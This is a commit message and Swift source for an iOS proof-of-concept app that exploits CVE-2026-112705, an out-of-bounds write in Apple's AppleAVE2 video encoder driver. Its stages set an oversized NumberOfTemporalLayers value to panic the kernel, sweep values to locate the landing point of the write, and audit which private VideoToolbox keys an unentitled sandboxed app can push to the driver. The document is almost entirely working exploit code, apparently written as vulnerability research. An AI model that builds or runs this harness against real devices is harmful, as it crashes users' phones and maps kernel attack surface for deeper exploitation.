AVE27 — standalone POC app for CVE-2026-112705 (AppleAVE2 NTL OOB write)

- All stages ported from MchinaMd57764/AVETemporalPoC (orig. Calif/Chollima):
  stage1-12, 20, 21, fuzz, SBE — launch-arg parity kept
- New: stage13 NTL threshold sweep, stage14 usage×rc acceptance matrix,
  stage15 private-key entitlement audit (23 keys)
- Panic journal: kern.boottime-based in-app panic evidence after reboot
- Interactive SwiftUI console + NTL field + report share; header shows
  PANIC-CAPABLE on iOS 27.0-27.1, FIXED BUILD on 27.2+
- App icon: temporal-layer stack, top layer displaced past the stack edge
- scripts/build-device.sh → unsigned arm64 IPA (iOS 17.0+)
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JBJF committed 2026-10-30 19:13:13 +08:00
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// AVE27 · app entry + stage console UI
// Two drive modes:
// 1. launch arguments (parity with the original repo): --stage9 16463, --stage13,
// --fuzz, --sbext, ... same dispatch table as AVETemporalPoC
// 2. interactive: pick a stage, set the layer count, run, watch the live console
// Every launch checks the panic journal first — an unfinished armed run plus a
// changed kernel boot time is reported as the panic that ended it.
import SwiftUI
import UIKit
@main
struct AVE27App: App {
var body: some Scene {
WindowGroup { RootView() }
}
}
/// Bridges the Probe singleton's append-only log to SwiftUI.
final class LogStore: ObservableObject {
@Published var text: String = ""
init() {
Probe.shared.onUpdate = { [weak self] in
let snapshot = Probe.shared.log
DispatchQueue.main.async { self?.text = snapshot }
}
}
}
struct RootView: View {
@StateObject private var store = LogStore()
@State private var ntlText = "16463"
@State private var keyText = "NumberOfTemporalLayers"
@State private var fileText = "avc_900_slices.h264"
@State private var running = false
private var ntl: Int { Int(ntlText) ?? 16463 }
var body: some View {
VStack(spacing: 0) {
header
stageMenu
console
}
.background(Color.black.ignoresSafeArea())
.onAppear(perform: launch)
.toolbar { ToolbarItem(placement: .navigationBarTrailing) { shareButton } }
.preferredColorScheme(.dark)
}
// ── header ────────────────────────────────────────────────────────────
private var header: some View {
HStack(alignment: .firstTextBaseline) {
VStack(alignment: .leading, spacing: 2) {
Text("AVE27")
.font(.system(.headline, design: .monospaced))
Text("CVE-2026-112705 · AppleAVE2 · " + deviceLine)
.font(.system(.caption2, design: .monospaced))
.foregroundStyle(.secondary)
}
Spacer()
Text(panicCapable ? "PANIC-CAPABLE" : "FIXED BUILD")
.font(.system(.caption2, design: .monospaced, weight: .bold))
.foregroundStyle(panicCapable ? Color(red: 1, green: 0.55, blue: 0.2) : .green)
}
.padding(.horizontal).padding(.vertical, 8)
}
private var deviceLine: String {
let os = ProcessInfo.processInfo.operatingSystemVersion
let ver = "\(os.majorVersion).\(os.minorVersion)"
var size = 0
sysctlbyname("hw.machine", nil, &size, nil, 0)
var machine = [CChar](repeating: 0, count: size)
sysctlbyname("hw.machine", &machine, &size, nil, 0)
let model = String(cString: machine)
return "iOS \(ver) · \(model)"
}
/// iOS 27.0 – 27.1 carries the unfixed AppleAVE2; 27.2+ refuses NTL at -12900.
private var panicCapable: Bool {
let os = ProcessInfo.processInfo.operatingSystemVersion
return (os.majorVersion == 27 && os.minorVersion <= 1)
}
// ── stage menu ────────────────────────────────────────────────────────
private var stageMenu: some View {
ScrollView(.horizontal, showsIndicators: false) {
HStack(spacing: 8) {
stageButton("stage9 panic") { Probe.shared.stage9(n: ntl) }
stageButton("stage13 sweep") { Probe.shared.stage13() }
stageButton("stage14 matrix") { Probe.shared.stage14() }
stageButton("stage15 audit") { Probe.shared.stage15() }
stageButton("SBE") { Probe.shared.stageSandboxExtensions() }
Divider().frame(height: 24)
stageButton("stage1 props") { Probe.shared.stage1() }
stageButton("stage7 dump") { Probe.shared.stage7() }
stageButton("fuzz") { Probe.shared.fuzz() }
stageButton("stage5 layer") { Probe.shared.stage5() }
stageButton("stage21 ids") { Probe.shared.stage21() }
Divider().frame(height: 24)
stageButton("stage2 encode") { Probe.shared.stage2(value: ntl) }
stageButton("stage6 dump") { Probe.shared.stage6(num: 4) }
stageButton("stage10 ps") { Probe.shared.stage10(n: 8) }
stageButton("stage11 dpb") { Probe.shared.stage11(n: 24) }
stageButton("stage12 userdpb") { Probe.shared.stage12(n: 24, shape: 1) }
stageButton("stage20 decode") { Probe.shared.stage20(file: fileText) }
stageButton("stage8 key") { Probe.shared.stage8(key: keyText, values: [1, 4, 8, 16, 64]) }
stageButton("stage4 pps") { Probe.shared.stage4(count: 16) }
}
.padding(.horizontal).padding(.bottom, 6)
}
}
private func stageButton(_ label: String, _ action: @escaping () -> Void) -> some View {
Button {
runStage(action)
} label: {
Text(label)
.font(.system(.caption, design: .monospaced))
.padding(.horizontal, 10).padding(.vertical, 6)
.background(RoundedRectangle(cornerRadius: 6).fill(Color(white: 0.14)))
.overlay(RoundedRectangle(cornerRadius: 6).strokeBorder(Color(white: 0.28)))
}
.buttonStyle(.plain)
.disabled(running)
.opacity(running ? 0.4 : 1)
}
private func runStage(_ action: @escaping () -> Void) {
running = true
DispatchQueue.global(qos: .userInitiated).async {
action()
Probe.shared.writeReport()
DispatchQueue.main.async { running = false }
}
}
// ── console ───────────────────────────────────────────────────────────
private var console: some View {
ScrollView {
ScrollViewReader { proxy in
Text(store.text.isEmpty ? "console — pick a stage\nargs mode: --stage9 16463" : store.text)
.font(.system(size: 10.5, design: .monospaced))
.frame(maxWidth: .infinity, alignment: .leading)
.padding(8)
.id("tail")
.onChange(of: store.text) { _, _ in
proxy.scrollTo("tail", anchor: .bottom)
}
}
}
.background(Color(white: 0.06))
.overlay(alignment: .top) { paramRow }
}
private var paramRow: some View {
HStack(spacing: 12) {
VStack(alignment: .leading, spacing: 1) {
Text("NTL").font(.system(.caption2, design: .monospaced)).foregroundStyle(.secondary)
TextField("16463", text: $ntlText)
.keyboardType(.numberPad)
.font(.system(.caption, design: .monospaced))
.frame(width: 84)
.textFieldStyle(.roundedBorder)
}
VStack(alignment: .leading, spacing: 1) {
Text("key / file").font(.system(.caption2, design: .monospaced)).foregroundStyle(.secondary)
TextField("file", text: $fileText)
.font(.system(.caption, design: .monospaced))
.textFieldStyle(.roundedBorder)
}
Spacer()
}
.padding(.horizontal).padding(.vertical, 6)
.background(.thinMaterial)
}
// ── share ─────────────────────────────────────────────────────────────
private var shareButton: some View {
Button {
let docs = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0]
let url = docs.appendingPathComponent("ave_report.txt")
try? Probe.shared.log.write(to: url, atomically: true, encoding: .utf8)
let av = UIActivityViewController(activityItems: [Probe.shared.log as NSString, url],
applicationActivities: nil)
UIApplication.shared.connectedScenes
.compactMap { ($0 as? UIWindowScene)?.keyWindow?.rootViewController }
.first?.present(av, animated: true)
} label: {
Image(systemName: "square.and.arrow.up")
}
}
// ── launch: panic evidence first, then argument dispatch ─────────────
private func launch() {
running = true
DispatchQueue.global(qos: .userInitiated).async {
Probe.shared.checkPanicEvidence()
runFromArguments()
Probe.shared.writeReport()
DispatchQueue.main.async { running = false }
}
}
/// Original repo dispatch, verbatim parity — runs when launch arguments are present.
private func runFromArguments() {
let args = ProcessInfo.processInfo.arguments
let p = Probe.shared
guard args.contains(where: { $0.hasPrefix("--") }) else { return }
if args.contains("--fuzz") { p.fuzz() }
else if args.contains("--sbext") { p.stageSandboxExtensions() }
else if args.contains("--props") { p.stage1() }
else if args.contains("--stage5") { p.stage5() }
else if let i = args.firstIndex(of: "--stage20"), i + 1 < args.count {
p.stage20(file: args[i + 1])
} else if args.contains("--stage21") { p.stage21() }
else if let i = args.firstIndex(of: "--stage12"), i + 1 < args.count {
let shape = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 1
let usage = (i + 3 < args.count ? Int(args[i + 3]) : nil) ?? 0
p.stage12(n: Int(args[i + 1]) ?? 3, shape: shape, usage: usage)
} else if let i = args.firstIndex(of: "--stage11"), i + 1 < args.count {
p.stage11(n: Int(args[i + 1]) ?? 3)
} else if let i = args.firstIndex(of: "--stage10"), i + 1 < args.count {
let usage = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 0
p.stage10(n: Int(args[i + 1]) ?? 8, usage: usage)
} else if let i = args.firstIndex(of: "--stage9"), i + 1 < args.count {
p.stage9(n: Int(args[i + 1]) ?? 12742)
} else if let i = args.firstIndex(of: "--stage13"), i + 1 < args.count {
let lo = Int(args[i + 1]) ?? 16450
let hi = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 16470
p.stage13(lo: min(lo, hi), hi: max(lo, hi))
} else if args.contains("--stage14") { p.stage14() }
else if args.contains("--stage15") { p.stage15() }
else if args.contains("--stage7") { p.stage7() }
else if let i = args.firstIndex(of: "--stage8"), i + 2 < args.count {
let key = args[i + 1]
let vals = args[i + 2].split(separator: ",").compactMap { Int($0) }
p.stage8(key: key, values: vals.isEmpty ? [8] : vals)
} else if let i = args.firstIndex(of: "--stage6"), i + 1 < args.count {
p.stage6(num: Int(args[i + 1]) ?? 1)
} else if let i = args.firstIndex(of: "--stage4"), i + 1 < args.count {
p.stage4(count: Int(args[i + 1]) ?? 16)
} else if let i = args.firstIndex(of: "--encode"), i + 1 < args.count {
func intArg(_ name: String, _ def: Int) -> Int {
guard let j = args.firstIndex(of: name), j + 1 < args.count else { return def }
return Int(args[j + 1]) ?? def
}
p.stage2(value: Int(args[i + 1]) ?? 8,
realtime: !args.contains("--nort"),
efr: intArg("--efr", 30), blr: intArg("--blr", 15))
} else { p.stage1() }
}
}
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// AVE27 · exploration stages — what lies beyond the panic
// stage13: NTL threshold sweep — maps the exact landing rung of the OOB write.
// stage14: EncoderUsage × RCMode matrix at a safe layer count — which private
// parameter combinations the driver accepts from a stock sandboxed app.
// stage15: private property key audit — the full acceptance surface of
// non-public VideoToolbox keys with no entitlement behind them.
// All three share the live.txt oracle; stage13 arms the panic journal per rung.
import Foundation
import VideoToolbox
import CoreMedia
import CoreVideo
extension Probe {
/// Stage 13: NTL threshold sweep, one session per rung, bottom-up.
/// On a vulnerable build the walk panics at the first landing rung — live.txt
/// ends on that rung and the panic journal proves it after the reboot.
/// On 27.2 the first rung past the cap returns -12900 at SetProperty and the
/// sweep stops clean: two disjoint, unambiguous signatures.
func stage13(lo: Int = 16450, hi: Int = 16470) {
emit("stage13 sweep \(lo)...\(hi) (bottom-up, one session per rung)")
for n in lo...hi {
guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else {
emit("stage13(\(n)): no session"); return
}
let sUsage = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: 1))
let sRC = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: 20))
_ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse)
let st = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString,
value: NSNumber(value: n))
if st != 0 {
emit("stage13 rung \(n): SetProperty refused (\(st)) — fixed-build cap reached")
VTCompressionSessionInvalidate(session)
break
}
var attrs: [CFString: Any] = [:]
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
var pb: CVPixelBuffer?
_ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
attrs as CFDictionary, &pb)
guard let pixel = pb else { emit("stage13(\(n)): no pixel"); return }
armJournal("stage13", ntl: n)
let pts = CMTime(value: CMTimeValue(0), timescale: 30)
let est = VTCompressionSessionEncodeFrame(
session, imageBuffer: pixel, presentationTimeStamp: pts,
duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in }
emit("stage13 rung \(n): usage=\(sUsage) rc=\(sRC) encode=\(est) readback: " +
readBack(session, "NumberOfTemporalLayers" as CFString))
VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid)
VTCompressionSessionInvalidate(session)
finishJournal()
if est != 0 { emit("stage13 rung \(n): encode refused (\(est)) — stopping sweep"); break }
}
emit("stage13 complete — device survived every rung")
}
/// Stage 14: EncoderUsage × RCMode matrix at a safe layer count (8). The panic
/// recipe is one cell of this grid; the rest maps which private mode selectors
/// the driver honours from an unentitled third-party process.
func stage14() {
let usages = [0, 1, 4, 8, 16]
let rcmodes = [0, 1, 8, 20, 22, 23]
emit("stage14 usage × rc matrix at NTL=8 (\(usages.count)×\(rcmodes.count) cells)")
for u in usages {
for rc in rcmodes {
guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else {
emit("stage14 u\(u) r\(rc): no session"); return
}
_ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse)
let su = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: u))
let sr = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: rc))
let sn = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, value: NSNumber(value: 8))
var attrs: [CFString: Any] = [:]
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
var pb: CVPixelBuffer?
_ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
attrs as CFDictionary, &pb)
guard let pixel = pb else { emit("stage14: no pixel"); return }
let pts = CMTime(value: CMTimeValue(0), timescale: 30)
let est = VTCompressionSessionEncodeFrame(
session, imageBuffer: pixel, presentationTimeStamp: pts,
duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in }
VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid)
emit("stage14 u=\(u)(\(su)) rc=\(rc)(\(sr)) ntl(\(sn)) encode=\(est)")
VTCompressionSessionInvalidate(session)
}
}
emit("stage14 complete — acceptance matrix above")
}
/// Stage 15: private property key audit. Which non-public VideoToolbox keys a
/// stock, sandboxed, unentitled app can set on an Apple hardware encoder session —
/// the privilege surface beyond the crash. Accepted keys reach the kernel driver
/// through the same unvalidated property path the CVE lives in.
func stage15() {
// (key, probe value): numbers probe the scalar path, arrays the table path
let probes: [(String, Any)] = [
("EncoderUsage", NSNumber(value: 1)),
("RCMode", NSNumber(value: 20)),
("NumberOfTemporalLayers", NSNumber(value: 4)),
("NumOfTemporalLayer", NSNumber(value: 4)),
("NumOfGOPLayer", NSNumber(value: 2)),
("BaseLayerFrameRate", NSNumber(value: 15)),
("MCTFStrengthLevel", NSNumber(value: 3)),
("MCTFMaxNextRefNum", NSNumber(value: 2)),
("ChromaQPIndexOffsetMultiPPS", "0 0 0 0" as NSString),
("LRMERSPassNum", NSNumber(value: 1)),
("MultiReferencePSpacing", NSNumber(value: 3)),
("NumNegativePics", NSNumber(value: 4)),
("NumPositivePics", NSNumber(value: 0)),
("AbsDeltaRPSMinus1", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray),
("DeltaRPSSign", [NSNumber(value: 0), NSNumber(value: 0)] as CFArray),
("RPSData", [NSNumber(value: 1)] as CFArray),
("RPSInfo", [NSNumber(value: 1)] as CFArray),
("HEVCTemporalLevelInfoCombinations", [NSNumber(value: 1)] as CFArray),
("HEVCAuxiliaryLayerIDs", [NSNumber(value: 1), NSNumber(value: 2)] as CFArray),
("MVHEVCVideoLayerIDs", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray),
("EnableUserRefForFacetime", kCFBooleanTrue as Any),
("DPBRequirements", ["NumberOfFrames" as CFString: NSNumber(value: 2),
"AllocateRVRABuffers" as CFString: kCFBooleanFalse as Any] as CFDictionary),
("TemporalIDNestingFlag", NSNumber(value: 1)),
]
emit("stage15 private-key audit (\(probes.count) keys, unentitled sandboxed app)")
var accepted: [String] = []
for (key, value) in probes {
guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else {
emit("stage15 \(key): no session"); return
}
_ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse)
let st = VTSessionSetProperty(session, key: key as CFString, value: value as CFTypeRef)
let rd = readBack(session, key as CFString)
emit("stage15 \(key) -> status=\(st) readback: \(rd)")
if st == 0 { accepted.append(key) }
VTCompressionSessionInvalidate(session)
}
emit("stage15 accepted-without-entitlement (\(accepted.count)/\(probes.count)): \(accepted.joined(separator: ", "))")
emit("stage15 complete — these keys reach the AppleAVE2 driver from a stock app")
}
}
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